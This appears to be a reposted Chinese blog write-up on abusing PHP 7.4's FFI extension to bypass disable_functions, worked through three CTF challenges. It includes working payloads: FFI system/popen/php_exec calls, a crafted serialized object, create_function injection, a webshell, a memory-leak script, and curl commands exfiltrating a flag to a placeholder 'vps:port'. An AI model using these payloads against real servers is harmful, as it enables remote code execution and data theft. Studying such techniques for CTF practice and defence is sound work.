0


PHP7.4 FFI 扩展安全问题

在前面 [极客大挑战 2020] 的Roamphp5-**FighterFightsInvincibly **题,遇到了 FFI扩展 调用函数进行rce to bypass disable_function,之前没遇见过,刚好借此机会学一学

<1> PHP 7.4 FFI简介

FFI是什么?

FFI(Foreign Function Interface),即外部函数接口 是 **php7.4 **出的一个扩展,提供了高级语言直接的相互调用。

优点:

    没有FFI的的时候,传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了

    FFI可以让我们更加方便的调用C语言积累的大量的优秀的库,享受这个庞大的资源

缺点:

    在PHP里,**FFI允许加载动态链接库** (之前一篇文章 LD_PRELOAD 劫持里有讲到),调用底层c语言的一些函数。而且与以往的传统调用C语言库的方式不同,它能够直接在php脚本中调用C语言库中的函数。 因此 FFI 扩展是十分危险的,如果被不当利用,可以直接调用底层c库中命令执行函数从而完全绕过 php 层面上的限制。

    因此,也可用来 bypass disable_function 。挺有意思

** libc.so.6 是默认的动态链接函数库**

<2> FFI 配置信息

FFI 配置:

  • 使用FFI需要启用PHP7.4配置中的ext/ffi,在 php.ini 中去掉 extension=ffi 前面的 ;
  • PHP-FFI要求libffi-3以上
  • ffi.enable=true

ffi.enable默认是 preload(预加载) 。即 默认情况下,FFI API只能在CLI脚本和预加载的PHP文件中使用

opcache.preload 是 PHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读:PHP: rfc:preload

在这篇文章 PHP: rfc:preload 末尾可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说只允许在 preload 文件中使用 FFI 拓展(危险的拓展)

同时:在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

相关配置可以在 phpinfo() 里查看

<3> FFI 简单利用演示

环境搭建:环境搭建

apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install

我的vps的ubuntu没整成 ,大家可以自己再试试

索性我直接用一个开启了 FFI插件 的CTF题目的dockerfile 开个环境,去容器里测试

ps:非常慢。。。。。。 终于开好了,里面却没有 vi 和 vim。。。。

(1) FFI::cdef方法

FFI::cdef()  创建一个新的 FFI 对象

该函数有两个参数,分别为调用c函数和加载的libc库,最后返回一个新的FFI对象。

public static FFI::cdef(string

$code

= "", ?string

$lib

= **

null

**):

 FFI

** libc.so.6 是默认的动态链接函数库,但是我们可以看见,如果第二个参数

 $lib 

省略,支持的平台

RTLD_DEFAULT

会尝试查找在

code

正常全局范围内声明的符号**。

意思就是不设置 FFI::cdef 的第二个参数,也可以调用 C 函数

<?php
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("whoami");  //在后台执行 前端没有显示
    $ffi->system("whoami > /tmp/aa");
    echo file_get_contents("/tmp/aa");
?>

在命令行这里,这里可以看见成功执行 system('whoami'); 输出root

由于没有权限写文件,所以前端显示不出来。但是命令是实打实的执行了

(2) FFI::new方法

FFI::new  创建一个C数据结构

<?php
    $x = FFI::new("int");
    var_dump($x->cdata);
    $x->cdata = 5;
    var_dump($x->cdata);
    $x->cdata += 2;
    var_dump($x->cdata);
?>

(3) FFI::load方法

public static **FFI::load(string $filename): FFI **加载 C 文件

等等等等 都可以在 php官方手册查到 这里不再演示。

PHP: FFI - Manual

<4> 利用FFI:cdef 绕过 disabled_function进行rce

如果目标机器开启了FFI扩展,同时phpinfo()里泄露的插件配置信息 足以使用此漏洞。则在 system等函数被禁用的情况下,可以使用 FFI 来进行命令执行

**原理: **

如果我们要调用C标准库里面的system函数(先不考虑PHP自己实现了system函数),我们就使用cdef去加载,cdef会把存放system函数功能的动态链接库libc加载到内存里面,这样PHP的进程空间里就有了这个system,这也是disable_functions里面过滤了system函数,但是执行的 payload里面仍然还使用了system的原因,因为我们是加载的 c库函数中的 system函数。 突破了 php 层面上的限制

** 例如:在题目中执行 /readflag 并获取 flag,同时它也可以加载自定义链接库**

[ RCTF 2019 ] nextphp 里的有一段这样的 php代码:

$this->data['ret'] = $this->data['func']($this->data['arg']);

正好符合我们的FFI扩展函数格式。

我们可以控制func和arg参数,构造:

'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'

条件符合时,就可以 这样利用。

<?php
    $ffi = FFI::cdef("int system(const char *command);");
    $ffi->system("/readflag > /tmp/flag");
    echo file_get_contents("/tmp/flag");
    @unlink("/tmp/flag");
?>

同时呢,蚁剑的 bypass disable_function插件也集成了这个漏洞利用 但受到目录权限和 open_basedir 的限制导致很多情况下并不起作用

<5> CTF应用

(1) [RCTF 2019]Nextphp(FFI::cdef&Serialize接口&curl外带结果)

考察点:

  • 利用 FFI::cdef bypass disable_function
  • Serialize接口
  • 利用curl外带flag
<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

一进去,就看见了一个 一句话🐎 肯定没有这么 简单。 试了一下 果然有 disable_functions

mail,putenv,error_log 都被过滤了 LD_PRELOAD劫持不了了。

phpinfo()里显示 版本为7.4 FFI 应该是** 利用FFI 。实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions**

isset() a的话才有 eval()。直接连蚁剑的话连不上。传着a=phpinfo();就乱码了

我们使用file_put_contents()函数再写一个🐎 然后连接

file_put_contents('shell.php','<?php eval($_POST["shell"]); ?>');

蚁剑连接之后,得到 preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

通过前面给的 phpinfo() 发现存在如下关键信息:

PHP Version 7.4.0-dev
内网IP:172.20.0.1
开启了FFI
opcache.preload:/var/www/html/preload.php
open_basedir:/var/www/html
disable_classes:ReflectionClass
disable_functions:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

opcache.preload 是 PHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读:PHP: rfc:preload

在这篇文章 PHP: rfc:preload 末尾可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说只允许在 preload 文件中使用 FFI 拓展(危险的拓展),而这道题目开启了 FFI 拓展

这道题可以写文件,那为什么不直接更改 preload.php文件 进行利用呢?

Mochazz师傅文章提到:在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 。

回到这道题

preload.php 里代码很明显就是利用 反序列化来触发FFI扩展的调用。在run函数有这样一串代码:

$this->data['ret'] = $this->data['func']($this->data['arg']);

正好符合我们的FFI扩展函数格式。

但是不同于我们以前传统的反序列化,这里 class A implements Serializable 是调用了 Serializable的类A

实现

Serializable

接口的类使用

C

格式编码,基本上是

C:ClassNameLen:"ClassName":PayloadLen:{Payload}

,其中

Payload

是任意字符串

具体:可以参考: PHP: rfc:custom_object_serialization

PHP: Magic Methods - Manual

在 preload.php 里引进了 php7.4以上的两个魔术方法 __serialize() 和 __unserialize()

PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup()。

当类的实例对象被序列化时将自动调用serialize方法,并且不会调用 __construct()或有其他影响。如果对象实现理Serialize接口,接口的serialize()方法将被忽略,并使用__serialize()代替。

当类的实例对象被反序列化时,将调用unserialize()方法,并且不执行__destruct()。如果对象实现理Serialize接口,接口的unserialize()方法将被忽略,并使用__unserialize()代替。

概念清楚了之后,我们进行代码审计。

构造 执行流程为:

调用 A::unserialize(), payload参数为我们构造好的恶意data数组的序列化数据. 执行 $this->data = unserialize($payload); 设置好 $this-data为构造好的恶意data数组 --> 执行 $this->run(), 生成FFI对象 给了 $this->data['ret'] --> __serialize()会返回$this->data,可以加上['ret'] 表示FFI对象,再->system("cmd"); 调用c语言system函数执行命令

注:我们在写exp的时候,删掉没有必要的魔术方法 以及前面提到的 __serialize()和

因为 __serialize()存在的话,serialize构造好的类实例对象就不会调用serialize(). $this->data就不会再进行一下serialize再返回。因此 我们执行过程中第一步的参数 payload 就不会是恶意data数组序列化数据。

exp如下:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'     //声明
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
    }
}

$a = new A();
echo serialize($a);

执行得到:

C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}

题目无回显,利用curl外带flag 执行命令:curl -d @/flag vps:port

传参:/?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:port');

得到flag

(2) TCTF 2020 easyphp(FFI::load 利用)

这里没有环境了,参考着文章复现一下:2020 TCTF Online Web wp

非预期:

题目代码如下,和RCTF的差不多 直接给了shell。 通过FFI bypass disable_function

<?php 
if(isset($_GET['rh'])) {
    eval($_GET['rh']);    
} else {
    show_source(__FILE__);
}

phpinfo()里得知:php 版本为 7.4.5,同时Server API为FPM/FastCGI:

diable_function如下:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

open_basedir限制,目录不可写,可以通过原生类读取

$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
    echo $f;
}

得到flag.h和flag.so文件名

由于题目的部署不慎,导致可以以下面这种方式直接读文件.... 因此这个是非预期的步骤

读取根目录 flag.h 文件

var_dump(file_get_contents("/flag.h"));

获取方法名 flag_fUn3t1on_fFi,之后通过 eval 函数执行 FFI 脚本即可

$ffi = FFI::load("/flag.h");
var_dump(FFI::string($ffi->flag_fUn3t1on_fFi()));

noeasyphp(revenge):

出题人不甘心,又出了一道revenge,这次php版本升级到 7.4.7,同时更换了Server API: Apache 2.0 Handler

又增加大量 disable_function 但open_basedir没有变.

我们依旧可以bypass open_basedir进行列目录:

var_dump(scandir("glob:///*"));

还存在 flag.h 和 flag.so

这里解决了我们非预期 读取flag.h 里方法的名称的操作。。。 因此我们即使 FFI::load flag.h 也不能调用方法.. cdef也被forbidden了, 这个时候怎么办呢》》

那么考虑有没有其他办法可以获取到函数名,查阅FFI官方文档:

发现FFI存在不少和内存相关的函数。

这里考虑能不能进行内存泄露,获取函数名,编写exp如下:

import requests

url = ""
params = {"rh":'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);
$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);
$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''}
res = requests.get(url=url,params=params)
print((res.text).encode("utf-8"))

原理。。。。我也没看明白 后面再看一看

执行之后即可获取函数名如下:

$a = $ffi->flag_wAt3_uP_apA3H1();

然后读取flag即可。

$ffi = FFI::load("/flag.h");
var_dump(FFI::string($ffi->flag_wAt3_uP_apA3H1()));

看这 flag 说的话好像是利用 FPM 来bypass。。。 没想到 FFI也可以,内存泄露、更麻烦一点 tql

(3) [极客大挑战 2020] FighterFightsInvincibly(不出网FFI,rce输出回显)

  • create_function函数注入
  • FFI,如何在执行命令的情况下输出回显

进去之后,小火箭 🚀 咻

在源码中得到:

<!-- $_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']); -->

可以动态的执行php代码,此刻应该联想到create_function代码注入:

我们传入 fighter=create_function,fights= 空 invincibly=;}eval($_POST['1vxyz']);/* 即可注入恶意代码并执行。可以蚁剑连接

fighter=create_function&fights=&invincibly=;}phpinfo();/*

执行phpinfo() 得到:

php版本为:PHP 7.4.8 并且开启了 ffi.enable

disable_function为:

system,exec,shell_exec,passthru,proc_open,proc_close,proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport,syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept,socket_connect,stream_socket_server,stream_socket_accept,stream_socket_client,ftp_connect,ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space,disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

利用FFI调用system,curl外带一下flag试一试

fighter=create_function&fights=&invincibly=;}$ffi=FFI::cdef("int system(const char *command);");$ffi->system("curl -d @/flag vps:port");/*

未果。 因为题目是 不出网的。无法curl外带。 官方wp里有提到两种解决方法

无法出网的FFI,如何在执行命令的情况下输出回显.有两种方式:

第一种:使用c里的popen,然后从管道中读取结果

C库的system函数调用shell命令,只能获取到shell命令的返回值,而不能获取shell命令的输出结果,如果想获取输出结果我们可以用popen函数来实现:

FILE *popen(const char* command, const char* type);

popen()函数会调用fork()产生子进程,然后从子进程中调用 /bin/sh -c 来执行参数 command 的指令。

参数 type 可使用 "r"代表读取,"w"代表写入。依照此type值,popen()会建立管道连到子进程的标准输出设备或标准输入设备,然后返回一个文件指针。随后进程便可利用此文件指针来读取子进程的输出设备或是写入到子进程的标准输入设备中。

所以,我们还可以利用C库的popen()函数来执行命令,但要读取到结果还需要C库的fgetc等函数。payload如下:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*

执行ls / 发现 flag 和 readflag

更改 ls / 为 /readflag 执行,得到flag

第二种:FFI中直接调用php底层源码中的函数

这个底层函数声明不好找,这里有一篇文章:命令执行底层原理探究-PHP(三)_黑客技术

int php_exec(int type, char *cmd);

其次,我们还有一种思路,即FFI中可以直接调用php源码中的函数,比如这个php_exec()函数就是php源码中的一个函数。php_exec 的 type 为 3 时对应的是passthru ,1也可以 1对应system

可以直接将结果原始输出

payload如下:

/?fighter=create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char *cmd);");$ffi->php_exec(3,"ls /");/*

更改 ls /为 /readflag 得到flag

第三种:使用蚁剑绕过disable_function插件

都试了一试,7.4<= PHP<=7.4.8ReflectionProperty UAF 可利用,FFI那个用插件出了问题。 所以还是不能太依赖工具,自己要懂得原理。 前面那个 LD_PRELOAD劫持 也是手工可以,插件没通。遇到的话可以先插件试一下,行不通再根据原理自己去打一下 不要工具无效就觉得行不通

至此,php 7.4扩展安全问题以及搞完了。 前面 buuctf刷题12(zip://包含& 取反+无参数rce & csrf & FFI扩展安全) 这篇欠的这道题目也以及解决。这也是学到的第二个 绕过disable_function的方法。每个方法都有对应的配置限制,后续遇到其他的 bypass_function 方法 会继续研究一下对应的原理 以及利用方式。好多还没学呢,继续努力

参考:https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/#nextphp

PHP FFI详解 - 一种全新的PHP扩展方式 - 风雪之隅

php system shell html 输出_利用 PHP 中的 FFI 扩展执行命令_weixin_39871162的博客-CSDN博客

标签: php 开发语言

本文转载自: https://blog.csdn.net/weixin_63231007/article/details/129105223
版权归原作者 葫芦娃42 所有, 如有侵权,请联系我们删除。

“PHP7.4 FFI 扩展安全问题”的评论:

还没有评论